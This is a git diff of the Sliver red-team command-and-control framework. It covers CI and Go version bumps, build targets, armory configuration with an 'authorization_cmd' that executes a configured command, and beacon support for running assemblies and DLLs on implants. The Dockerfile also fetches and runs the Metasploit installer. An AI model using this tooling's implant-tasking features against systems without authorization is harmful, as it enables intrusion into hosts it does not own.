zip -j ./release/sliver-server_macos.zip ./artifacts/macos/sliver-server
zip -j ./release/sliver-client_macos.zip ./artifacts/macos/sliver-client
gpg --default-key 4449039C --output ./release/sliver-server_macos.zip.sig --detach-sig ./release/sliver-server_macos.zip
gpg --default-key 4449039C --output ./release/sliver-client_macos.zip.sig --detach-sig ./release/sliver-client_macos.zip
gpg --default-key 4449039C --output ./artifacts/sliver-server_macos.sig --detach-sig ./artifacts/sliver-server_macos
gpg --default-key 4449039C --output ./artifacts/sliver-client_macos.sig --detach-sig ./artifacts/sliver-client_macos
# MacOS ARM64
# - name: Package MacOS ARM64
# run: |
# zip -j ./release/sliver-server_macos-arm64.zip ./artifacts/macos/sliver-server_arm64
# zip -j ./release/sliver-client_macos-arm64.zip ./artifacts/macos/sliver-client_arm64
- name: Package MacOS ARM64
run: |
gpg --default-key 4449039C --output ./artifacts/sliver-server_macos-arm64.sig --detach-sig ./artifacts/sliver-server_macos-arm64
gpg --default-key 4449039C --output ./artifacts/sliver-client_macos-arm64.sig --detach-sig ./artifacts/sliver-client_macos-arm64
- name: "Publish Release"
uses: "marvinpinto/action-automatic-releases@latest"
with:
repo_token: "${{ secrets.GITHUB_TOKEN }}"
prerelease: false
prerelease: true
files: |
./release/*
./artifacts/*
+2 -2
View File
@@ -17,10 +17,10 @@ jobs:
steps:
# Setup go environment
- name: Go 1.17
- name: Go 1.18
uses: actions/setup-go@v2
with:
go-version: "^1.17"
go-version: "^1.18"
- name: Checkout repository
uses: actions/checkout@v2
+11 -6
View File
@@ -6,19 +6,24 @@ on:
pull_request:
branches:
- master
types:
- opened
- reopened
- synchronize
- ready_for_review
jobs:
linux-windows-build:
name: Linux & Windows Build
runs-on: ubuntu-latest
timeout-minutes: 45
timeout-minutes: 90
steps:
- name: Go 1.17
- name: Go 1.18
uses: actions/setup-go@v2
with:
go-version: '^1.17'
go-version: '^1.18'
- name: OS Packages
run: |
@@ -47,13 +52,13 @@ jobs:
macos-build:
name: MacOS Build
runs-on: macos-latest
timeout-minutes: 45
timeout-minutes: 90
steps:
- name: Go 1.17
- name: Go 1.18
uses: actions/setup-go@v2
with:
go-version: '^1.17'
go-version: '^1.18'
- name: Mingw
run: brew install mingw-w64
+2
View File
@@ -40,3 +40,5 @@ sliver-server-windows.zip
.glide/
.DS_Store
dist/
+16 -16
View File
@@ -1,4 +1,4 @@
FROM golang:1.17.6
FROM golang:1.18.3
#
# IMPORTANT: This Dockerfile is used for testing, I do not recommend deploying
@@ -6,22 +6,22 @@ FROM golang:1.17.6
# a Docker deployment this is probably a good place to start.
#
ENV PROTOC_VER 3.17.1
ENV PROTOC_GEN_GO_VER v1.26.0
ENV GRPC_GO v1.1.0
ENV PROTOC_VER 3.19.4
ENV PROTOC_GEN_GO_VER v1.27.1
ENV GRPC_GO v1.2.0
# Base packages
RUN apt-get update --fix-missing && apt-get -y install \
git build-essential zlib1g zlib1g-dev \
libxml2 libxml2-dev libxslt-dev locate curl \
libreadline6-dev libcurl4-openssl-dev git-core \
libssl-dev libyaml-dev openssl autoconf libtool \
ncurses-dev bison curl wget xsel postgresql \
postgresql-contrib postgresql-client libpq-dev \
libapr1 libaprutil1 libsvn1 \
libpcap-dev libsqlite3-dev libgmp3-dev \
zip unzip mingw-w64 binutils-mingw-w64 g++-mingw-w64 \
nasm gcc-multilib
git build-essential zlib1g zlib1g-dev \
libxml2 libxml2-dev libxslt-dev locate curl \
libreadline6-dev libcurl4-openssl-dev git-core \
libssl-dev libyaml-dev openssl autoconf libtool \
ncurses-dev bison curl wget xsel postgresql \
postgresql-contrib postgresql-client libpq-dev \
libapr1 libaprutil1 libsvn1 \
libpcap-dev libsqlite3-dev libgmp3-dev \
zip unzip mingw-w64 binutils-mingw-w64 g++-mingw-w64 \
nasm gcc-multilib
#
# > User
@@ -33,8 +33,8 @@ RUN mkdir -p /home/sliver/ && chown -R sliver:sliver /home/sliver
# > Metasploit
#
RUN curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall \
&& chmod 755 msfinstall \
&& ./msfinstall
&& chmod 755 msfinstall \
&& ./msfinstall
RUN mkdir -p ~/.msf4/ && touch ~/.msf4/initial_setup_complete \
&& su -l sliver -c 'mkdir -p ~/.msf4/ && touch ~/.msf4/initial_setup_complete'
+29 -18
View File
@@ -3,6 +3,7 @@
#
GO ?= go
ARTIFACT_SUFFIX ?=
ENV =
TAGS = -tags osusergo,netgo,cgosqlite,sqlite_omit_load_extension
@@ -22,16 +23,16 @@ GO_VERSION = $(shell $(GO) version)
GO_MAJOR_VERSION = $(shell $(GO) version | cut -c 14- | cut -d' ' -f1 | cut -d'.' -f1)
GO_MINOR_VERSION = $(shell $(GO) version | cut -c 14- | cut -d' ' -f1 | cut -d'.' -f2)
MIN_SUPPORTED_GO_MAJOR_VERSION = 1
MIN_SUPPORTED_GO_MINOR_VERSION = 17
MIN_SUPPORTED_GO_MINOR_VERSION = 18
GO_VERSION_VALIDATION_ERR_MSG = Golang version is not supported, please update to at least $(MIN_SUPPORTED_GO_MAJOR_VERSION).$(MIN_SUPPORTED_GO_MINOR_VERSION)
VERSION ?= $(shell git describe --abbrev=0)
COMPILED_AT = $(shell date +%s)
RELEASES_URL = https://api.github.com/repos/BishopFox/sliver/releases
CLIENT_ASSETS_PKG = github.com/bishopfox/sliver/client/assets
ARMORY_PUB_KEY = RWSBpxpRWDrD7Fe+VvRE3c2VEDC2NK80rlNCj+BX0gz44Xw07r6KQD9L
ARMORY_REPO_URL = https://api.github.com/repos/sliverarmory/armory/releases
RELEASES_URL ?= https://api.github.com/repos/BishopFox/sliver/releases
ARMORY_PUB_KEY ?= RWSBpxpRWDrD7Fe+VvRE3c2VEDC2NK80rlNCj+BX0gz44Xw07r6KQD9L
ARMORY_REPO_URL ?= https://api.github.com/repos/sliverarmory/armory/releases
VERSION_PKG = github.com/bishopfox/sliver/client/version
CLIENT_ASSETS_PKG = github.com/bishopfox/sliver/client/assets
GIT_DIRTY = $(shell git diff --quiet|| echo 'Dirty')
GIT_COMMIT = $(shell git rev-parse HEAD)
@@ -76,8 +77,12 @@ ifeq ($(UNAME_S),Darwin)
SED_INPLACE := sed -i ''
STATIC_TARGET := macos
endif
# If no target is specified, determine GOARCH
ifeq ($(UNAME_P),arm)
ENV += GOARCH=arm64
ifeq ($(MAKECMDGOALS), )
ENV += GOARCH=arm64
endif
endif
ifeq ($(MAKECMDGOALS), linux)
@@ -89,7 +94,9 @@ ifeq ($(MAKECMDGOALS), linux)
-X $(VERSION_PKG).CompiledAt=$(COMPILED_AT) \
-X $(VERSION_PKG).GithubReleasesURL=$(RELEASES_URL) \
-X $(VERSION_PKG).GitCommit=$(GIT_COMMIT) \
-X $(VERSION_PKG).GitDirty=$(GIT_DIRTY)"
-X $(VERSION_PKG).GitDirty=$(GIT_DIRTY) \
-X $(CLIENT_ASSETS_PKG).DefaultArmoryPublicKey=$(ARMORY_PUB_KEY) \
-X $(CLIENT_ASSETS_PKG).DefaultArmoryRepoURL=$(ARMORY_REPO_URL)"
endif
#
@@ -97,28 +104,33 @@ endif
#
.PHONY: default
default: clean validate-go-version
$(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server ./server
$(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client ./client
$(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
$(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
.PHONY: macos
macos: clean validate-go-version
GOOS=darwin GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server ./server
GOOS=darwin GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client ./client
GOOS=darwin GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
GOOS=darwin GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
.PHONY: macos-arm64
macos-arm64: clean validate-go-version
GOOS=darwin GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server_arm64 ./server
GOOS=darwin GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client_arm64 ./client
GOOS=darwin GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
GOOS=darwin GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
.PHONY: linux
linux: clean validate-go-version
GOOS=linux $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server ./server
GOOS=linux $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client ./client
GOOS=linux GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
GOOS=linux GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
.PHONY: linux-arm64
linux-arm64: clean validate-go-version
GOOS=linux GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
GOOS=linux GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
.PHONY: windows
windows: clean validate-go-version
GOOS=windows $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server.exe ./server
GOOS=windows $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client.exe ./client
GOOS=windows $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX).exe ./server
GOOS=windows $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX).exe ./client
.PHONY: pb
pb:
@@ -149,5 +161,4 @@ clean-all: clean
.PHONY: clean
clean:
rm -f sliver-client_arm64 sliver-server_arm64
rm -f sliver-client sliver-server sliver-*.exe
+5 -1
View File
@@ -1,7 +1,7 @@
Sliver
======
Sliver is an open source cross-platform adversary emulation/red team framework, it can be used by organizations of all sizes to perform security testing. Sliver's implants support C2 over Mutual TLS (mTLS), WireGuard, HTTP(S), and DNS and are dynamically compiled with per-binary encryption keys.
Sliver is an open source cross-platform adversary emulation/red team framework, it can be used by organizations of all sizes to perform security testing. Sliver's implants support C2 over Mutual TLS (mTLS), WireGuard, HTTP(S), and DNS and are dynamically compiled with per-binary asymmetric encryption keys.
The server and client support MacOS, Windows, and Linux. Implants are supported on MacOS, Windows, and Linux (and possibly every Golang compiler target but we've not tested them all).
@@ -40,6 +40,10 @@ Please checkout the [wiki](https://github.com/BishopFox/sliver/wiki), or start a
See the [wiki](https://github.com/BishopFox/sliver/wiki/Compile-From-Source).
### Feedback
Please take a moment and fill out [our survey](https://forms.gle/SwVsHFNh24ChG58C6)
### License - GPLv3
Sliver is licensed under [GPLv3](https://www.gnu.org/licenses/gpl-3.0.en.html), some sub-components may have separate licenses. See their respective subdirectories in this project for details.
+27 -3
View File
@@ -21,7 +21,9 @@ package assets
import (
"encoding/json"
"io/ioutil"
"log"
"os"
"os/exec"
"path/filepath"
)
@@ -30,8 +32,10 @@ const (
)
var (
// DefaultArmoryPublicKey - The default public key for the armory
DefaultArmoryPublicKey string
DefaultArmoryRepoURL string
// DefaultArmoryRepoURL - The default repo url for the armory
DefaultArmoryRepoURL string
defaultArmoryConfig = &ArmoryConfig{
PublicKey: DefaultArmoryPublicKey,
@@ -39,9 +43,12 @@ var (
}
)
// ArmoryConfig - The armory config file
type ArmoryConfig struct {
PublicKey string `json:"public_key"`
RepoURL string `json:"repo_url"`
PublicKey string `json:"public_key"`
RepoURL string `json:"repo_url"`
Authorization string `json:"authorization"`
AuthorizationCmd string `json:"authorization_cmd"`
}
// GetArmoriesConfig - The parsed armory config file
@@ -59,5 +66,22 @@ func GetArmoriesConfig() []*ArmoryConfig {
if err != nil {
return []*ArmoryConfig{defaultArmoryConfig}
}
for _, armoryConfig := range armoryConfigs {
if armoryConfig.AuthorizationCmd != "" {
armoryConfig.Authorization = executeAuthorizationCmd(armoryConfig)
}
}
return append(armoryConfigs, defaultArmoryConfig)
}
func executeAuthorizationCmd(armoryConfig *ArmoryConfig) string {
if armoryConfig.AuthorizationCmd == "" {
return ""
}
out, err := exec.Command(armoryConfig.AuthorizationCmd).CombinedOutput()
if err != nil {
log.Printf("Failed to execute authorization_cmd '%s': %v", armoryConfig.AuthorizationCmd, err)
return ""
}
return string(out)
}
+4
View File
@@ -33,6 +33,8 @@ type ClientSettings struct {
TableStyle string `json:"tables"`
AutoAdult bool `json:"autoadult"`
BeaconAutoResults bool `json:"beacon_autoresults"`
SmallTermWidth int `json:"small_term_width"`
AlwaysOverflow bool `json:"always_overflow"`
}
// LoadSettings - Load the client settings from disk
@@ -55,6 +57,8 @@ func defaultSettings() *ClientSettings {
TableStyle: "SliverDefault",
AutoAdult: false,
BeaconAutoResults: true,
SmallTermWidth: 170,
AlwaysOverflow: false,
}
}
+99 -21
View File
@@ -32,9 +32,11 @@ import (
"github.com/bishopfox/sliver/client/command/help"
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/util"
"github.com/desertbit/grumble"
"google.golang.org/protobuf/proto"
)
const (
@@ -64,12 +66,14 @@ type loadedAlias struct {
Command *grumble.Command
}
// AliasFile - An OS/Arch specific file
type AliasFile struct {
OS string `json:"os"`
Arch string `json:"arch"`
Path string `json:"path"`
}
// AliasManifest - The manifest for an alias, contains metadata
type AliasManifest struct {
Name string `json:"name"`
Version string `json:"version"`
@@ -154,10 +158,13 @@ func LoadAlias(manifestPath string, con *console.SliverConsoleClient) (*AliasMan
}
helpMsg := fmt.Sprintf("[%s] %s", aliasManifest.Name, aliasManifest.Help)
longHelpMsg := help.FormatHelpTmpl(aliasManifest.LongHelp)
longHelpMsg += "\n\n⚠️ If you're having issues passing arguments to the alias please read:\n"
longHelpMsg += "https://github.com/BishopFox/sliver/wiki/Aliases-&-Extensions#aliases-command-parsing"
addAliasCmd := &grumble.Command{
Name: aliasManifest.CommandName,
Help: helpMsg,
LongHelp: help.FormatHelpTmpl(aliasManifest.LongHelp),
LongHelp: longHelpMsg,
Run: func(extCtx *grumble.Context) error {
con.Println()
runAliasCommand(extCtx, con)
@@ -230,17 +237,27 @@ func ParseAliasManifest(data []byte) (*AliasManifest, error) {
}
func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
var goos string
var goarch string
if session != nil {
goos = session.OS
goarch = session.Arch
} else {
goos = beacon.OS
goarch = beacon.Arch
}
loadedAlias, ok := loadedAliases[ctx.Command.Name]
if !ok {
con.PrintErrorf("No alias found for `%s` command\n", ctx.Command.Name)
return
}
aliasManifest := loadedAlias.Manifest
binPath, err := aliasManifest.getFileForTarget(ctx.Command.Name, session.GetOS(), session.GetArch())
binPath, err := aliasManifest.getFileForTarget(ctx.Command.Name, goos, goarch)
if err != nil {
con.PrintErrorf("Fail to find alias file: %s\n", err)
return
@@ -252,17 +269,19 @@ func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
} else {
extArgs = strings.Join(args, " ")
}
extArgs = strings.TrimSpace(extArgs)
entryPoint := aliasManifest.Entrypoint
processName := ctx.Flags.String("process")
if processName == "" {
processName, err = aliasManifest.getDefaultProcess(session.GetOS())
processName, err = aliasManifest.getDefaultProcess(goos)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
isDLL := false
if filepath.Ext(binPath) == ".dll" {
if strings.ToLower(filepath.Ext(binPath)) == ".dll" {
isDLL = true
}
binData, err := ioutil.ReadFile(binPath)
@@ -272,14 +291,17 @@ func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
var outFilePath *os.File
if ctx.Flags.Bool("save") {
outFile := path.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, session.GetHostname()))
outFile := filepath.Base(fmt.Sprintf("%s_%s*.log", filepath.Base(ctx.Command.Name), filepath.Base(session.GetHostname())))
outFilePath, err = ioutil.TempFile("", outFile)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
if aliasManifest.IsAssembly {
// Execute Assembly
ctrl := make(chan bool)
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
con.SpinUntil(msg, ctrl)
@@ -300,12 +322,24 @@ func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintErrorf("%s\n", err)
return
}
con.PrintInfof("Output:\n%s", string(executeAssemblyResp.GetOutput()))
if outFilePath != nil {
outFilePath.Write(executeAssemblyResp.GetOutput())
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
if executeAssemblyResp.Response != nil && executeAssemblyResp.Response.Async {
con.AddBeaconCallback(executeAssemblyResp.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, executeAssemblyResp)
if err != nil {
con.PrintErrorf("Failed to decode call ext response %s\n", err)
return
}
PrintAssemblyOutput(ctx.Command.Name, executeAssemblyResp, outFilePath, con)
})
con.PrintAsyncResponse(executeAssemblyResp.Response)
} else {
PrintAssemblyOutput(ctx.Command.Name, executeAssemblyResp, outFilePath, con)
}
} else if aliasManifest.IsReflective {
// Spawn DLL
ctrl := make(chan bool)
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
con.SpinUntil(msg, ctrl)
@@ -319,18 +353,28 @@ func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
})
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
con.PrintInfof("Output:\n%s", spawnDllResp.GetResult())
if outFilePath != nil {
outFilePath.Write([]byte(spawnDllResp.GetResult()))
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
if spawnDllResp.Response != nil && spawnDllResp.Response.Async {
con.AddBeaconCallback(spawnDllResp.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, spawnDllResp)
if err != nil {
con.PrintErrorf("Failed to decode call ext response %s\n", err)
return
}
PrintSpawnDLLOutput(ctx.Command.Name, spawnDllResp, outFilePath, con)
})
con.PrintAsyncResponse(spawnDllResp.Response)
} else {
PrintSpawnDLLOutput(ctx.Command.Name, spawnDllResp, outFilePath, con)
}
} else {
// Sideload
ctrl := make(chan bool)
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
con.SpinUntil(msg, ctrl)
@@ -345,20 +389,54 @@ func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
})
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
con.PrintInfof("Output:\n%s", sideloadResp.GetResult())
if outFilePath != nil {
outFilePath.Write([]byte(sideloadResp.GetResult()))
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
if sideloadResp.Response != nil && sideloadResp.Response.Async {
con.AddBeaconCallback(sideloadResp.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, sideloadResp)
if err != nil {
con.PrintErrorf("Failed to decode call ext response %s\n", err)
return
}
PrintSideloadOutput(ctx.Command.Name, sideloadResp, outFilePath, con)
})
con.PrintAsyncResponse(sideloadResp.Response)
} else {
PrintSideloadOutput(ctx.Command.Name, sideloadResp, outFilePath, con)
}
}
}
// PrintSpawnDLLOutput - Prints the output of a spawn dll command
func PrintSpawnDLLOutput(cmdName string, spawnDllResp *sliverpb.SpawnDll, outFilePath *os.File, con *console.SliverConsoleClient) {
con.PrintInfof("%s output:\n%s", cmdName, spawnDllResp.GetResult())
if outFilePath != nil {
outFilePath.Write([]byte(spawnDllResp.GetResult()))
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
}
}
// PrintSideloadOutput - Prints the output of a sideload command
func PrintSideloadOutput(cmdName string, sideloadResp *sliverpb.Sideload, outFilePath *os.File, con *console.SliverConsoleClient) {
con.PrintInfof("%s output:\n%s", cmdName, sideloadResp.GetResult())
if outFilePath != nil {
outFilePath.Write([]byte(sideloadResp.GetResult()))
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
}
}
// PrintAssemblyOutput - Prints the output of an execute-assembly command
func PrintAssemblyOutput(cmdName string, execAsmResp *sliverpb.ExecuteAssembly, outFilePath *os.File, con *console.SliverConsoleClient) {
con.PrintInfof("%s output:\n%s", cmdName, string(execAsmResp.GetOutput()))
if outFilePath != nil {
outFilePath.Write(execAsmResp.GetOutput())
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
}
}
func cmdExists(name string, app *grumble.App) bool {
for _, c := range app.Commands().All() {
if name == c.Name {
+106 -44
View File
@@ -35,14 +35,18 @@ import (
"github.com/bishopfox/sliver/server/cryptography/minisign"
"github.com/desertbit/grumble"
"github.com/jedib0t/go-pretty/v6/table"
"golang.org/x/term"
)
// ArmoryIndex - Index JSON containing alias/extension/bundle information
type ArmoryIndex struct {
Aliases []*ArmoryPackage `json:"aliases"`
Extensions []*ArmoryPackage `json:"extensions"`
Bundles []*ArmoryBundle `json:"bundles"`
ArmoryConfig *assets.ArmoryConfig `json:"-"`
Aliases []*ArmoryPackage `json:"aliases"`
Extensions []*ArmoryPackage `json:"extensions"`
Bundles []*ArmoryBundle `json:"bundles"`
}
// ArmoryPackage - JSON metadata for alias or extension
type ArmoryPackage struct {
Name string `json:"name"`
CommandName string `json:"command_name"`
@@ -52,12 +56,15 @@ type ArmoryPackage struct {
IsAlias bool `json:"-"`
}
// AmoryBundle - A list of packages
type ArmoryBundle struct {
Name string `json:"name"`
Packages []string `json:"packages"`
}
// ArmoryHTTPConfig - Configuration for armory HTTP client
type ArmoryHTTPConfig struct {
ArmoryConfig *assets.ArmoryConfig
IgnoreCache bool
ProxyURL *url.URL
Timeout time.Duration
@@ -65,20 +72,22 @@ type ArmoryHTTPConfig struct {
}
type indexCacheEntry struct {
RepoURL string
Fetched time.Time
Index ArmoryIndex
LastErr error
ArmoryConfig *assets.ArmoryConfig
RepoURL string
Fetched time.Time
Index ArmoryIndex
LastErr error
}
type pkgCacheEntry struct {
RepoURL string
Fetched time.Time
Pkg ArmoryPackage
Sig minisign.Signature
Alias *alias.AliasManifest
Extension *extensions.ExtensionManifest
LastErr error
ArmoryConfig *assets.ArmoryConfig
RepoURL string
Fetched time.Time
Pkg ArmoryPackage
Sig minisign.Signature
Alias *alias.AliasManifest
Extension *extensions.ExtensionManifest
LastErr error
}
var (
@@ -87,7 +96,10 @@ var (
// public key -> armoryPkgCacheEntry
pkgCache = sync.Map{}
cacheTime = time.Hour // This will kill a download if exceeded so needs to be large
// cacheTime - How long to cache the index/pkg manifests
cacheTime = time.Hour
// This will kill a download if exceeded so needs to be large
defaultTimeout = 15 * time.Minute
)
@@ -213,6 +225,37 @@ func AliasExtensionOrBundleCompleter(prefix string, args []string, con *console.
// PrintArmoryPackages - Prints the armory packages
func PrintArmoryPackages(aliases []*alias.AliasManifest, exts []*extensions.ExtensionManifest, con *console.SliverConsoleClient) {
width, _, err := term.GetSize(0)
if err != nil {
width = 999
}
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
tw.SetTitle(console.Bold + "Packages" + console.Normal)
if con.Settings.SmallTermWidth < width {
tw.AppendHeader(table.Row{
"Command Name",
"Version",
"Type",
"Help",
"URL",
})
} else {
tw.AppendHeader(table.Row{
"Command Name",
"Version",
"Type",
"Help",
})
}
// Columns start at 1 for some dumb reason
tw.SortBy([]table.SortBy{
{Number: 1, Mode: table.Asc},
})
type pkgInfo struct {
CommandName string
Version string
@@ -240,34 +283,30 @@ func PrintArmoryPackages(aliases []*alias.AliasManifest, exts []*extensions.Exte
})
}
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
tw.SetTitle(console.Bold + "Packages" + console.Normal)
tw.AppendHeader(table.Row{
"Command Name",
"Version",
"Type",
"Help",
"URL",
})
tw.SortBy([]table.SortBy{
{Name: "Command Name", Mode: table.Asc},
})
rows := []table.Row{}
for _, pkg := range entries {
color := console.Normal
if extensions.CmdExists(pkg.CommandName, con.App) {
color = console.Green
}
tw.AppendRow(table.Row{
fmt.Sprintf(color+"%s"+console.Normal, pkg.CommandName),
fmt.Sprintf(color+"%s"+console.Normal, pkg.Version),
fmt.Sprintf(color+"%s"+console.Normal, pkg.Type),
fmt.Sprintf(color+"%s"+console.Normal, pkg.Help),
fmt.Sprintf(color+"%s"+console.Normal, pkg.URL),
})
if con.Settings.SmallTermWidth < width {
rows = append(rows, table.Row{
fmt.Sprintf(color+"%s"+console.Normal, pkg.CommandName),
fmt.Sprintf(color+"%s"+console.Normal, pkg.Version),
fmt.Sprintf(color+"%s"+console.Normal, pkg.Type),
fmt.Sprintf(color+"%s"+console.Normal, pkg.Help),
fmt.Sprintf(color+"%s"+console.Normal, pkg.URL),
})
} else {
rows = append(rows, table.Row{
fmt.Sprintf(color+"%s"+console.Normal, pkg.CommandName),
fmt.Sprintf(color+"%s"+console.Normal, pkg.Version),
fmt.Sprintf(color+"%s"+console.Normal, pkg.Type),
fmt.Sprintf(color+"%s"+console.Normal, pkg.Help),
})
}
}
tw.AppendRows(rows)
con.Printf("%s\n", tw.Render())
}
@@ -284,9 +323,26 @@ func PrintArmoryBundles(bundles []*ArmoryBundle, con *console.SliverConsoleClien
{Name: "Name", Mode: table.Asc},
})
for _, bundle := range bundles {
if len(bundle.Packages) < 1 {
continue
}
packages := bundle.Packages[0]
if 1 < len(packages) {
packages += ", "
}
for index, pkgName := range bundle.Packages[1:] {
if index%5 == 4 {
packages += pkgName + "\n"
} else {
packages += pkgName
if index != len(bundle.Packages)-2 {
packages += ", "
}
}
}
tw.AppendRow(table.Row{
bundle.Name,
strings.Join(bundle.Packages, ", "),
packages,
})
}
con.Printf("%s\n", tw.Render())
@@ -347,7 +403,10 @@ func fetchIndex(armoryConfig *assets.ArmoryConfig, clientConfig ArmoryHTTPConfig
}
}
armoryResult := &indexCacheEntry{RepoURL: armoryConfig.RepoURL}
armoryResult := &indexCacheEntry{
ArmoryConfig: armoryConfig,
RepoURL: armoryConfig.RepoURL,
}
defer func() {
armoryResult.Fetched = time.Now()
indexCache.Store(armoryConfig.PublicKey, *armoryResult)
@@ -383,18 +442,18 @@ func fetchPackageSignatures(indexes []ArmoryIndex, clientConfig ArmoryHTTPConfig
for _, armoryPkg := range index.Extensions {
wg.Add(1)
armoryPkg.IsAlias = false
go fetchPackageSignature(wg, armoryPkg, clientConfig)
go fetchPackageSignature(wg, index.ArmoryConfig, armoryPkg, clientConfig)
}
for _, armoryPkg := range index.Aliases {
wg.Add(1)
armoryPkg.IsAlias = true
go fetchPackageSignature(wg, armoryPkg, clientConfig)
go fetchPackageSignature(wg, index.ArmoryConfig, armoryPkg, clientConfig)
}
}
wg.Wait()
}
func fetchPackageSignature(wg *sync.WaitGroup, armoryPkg *ArmoryPackage, clientConfig ArmoryHTTPConfig) {
func fetchPackageSignature(wg *sync.WaitGroup, armoryConfig *assets.ArmoryConfig, armoryPkg *ArmoryPackage, clientConfig ArmoryHTTPConfig) {
defer wg.Done()
cacheEntry, ok := pkgCache.Load(armoryPkg.CommandName)
if ok {
@@ -404,7 +463,10 @@ func fetchPackageSignature(wg *sync.WaitGroup, armoryPkg *ArmoryPackage, clientC
}
}
pkgCacheEntry := &pkgCacheEntry{RepoURL: armoryPkg.RepoURL}
pkgCacheEntry := &pkgCacheEntry{
ArmoryConfig: armoryConfig,
RepoURL: armoryPkg.RepoURL,
}
defer func() {
pkgCacheEntry.Fetched = time.Now()
pkgCache.Store(armoryPkg.CommandName, *pkgCacheEntry)
@@ -424,7 +486,7 @@ func fetchPackageSignature(wg *sync.WaitGroup, armoryPkg *ArmoryPackage, clientC
if pkgParser, ok := pkgParsers[repoURL.Hostname()]; ok {
sig, _, err = pkgParser(armoryPkg, true, clientConfig)
} else {
sig, _, err = DefaultArmoryPkgParser(armoryPkg, true, clientConfig)
sig, _, err = DefaultArmoryPkgParser(armoryConfig, armoryPkg, true, clientConfig)
}
if err != nil {
pkgCacheEntry.LastErr = fmt.Errorf("failed to parse pkg manifest: %s", err)
+31 -6
View File
@@ -20,11 +20,13 @@ package armory
import (
"errors"
"fmt"
"io/ioutil"
"net/url"
"os"
"path/filepath"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/command/alias"
"github.com/bishopfox/sliver/client/command/extensions"
"github.com/bishopfox/sliver/client/console"
@@ -33,6 +35,7 @@ import (
)
var (
// ErrPackageNotFound - The package was not found
ErrPackageNotFound = errors.New("package not found")
)
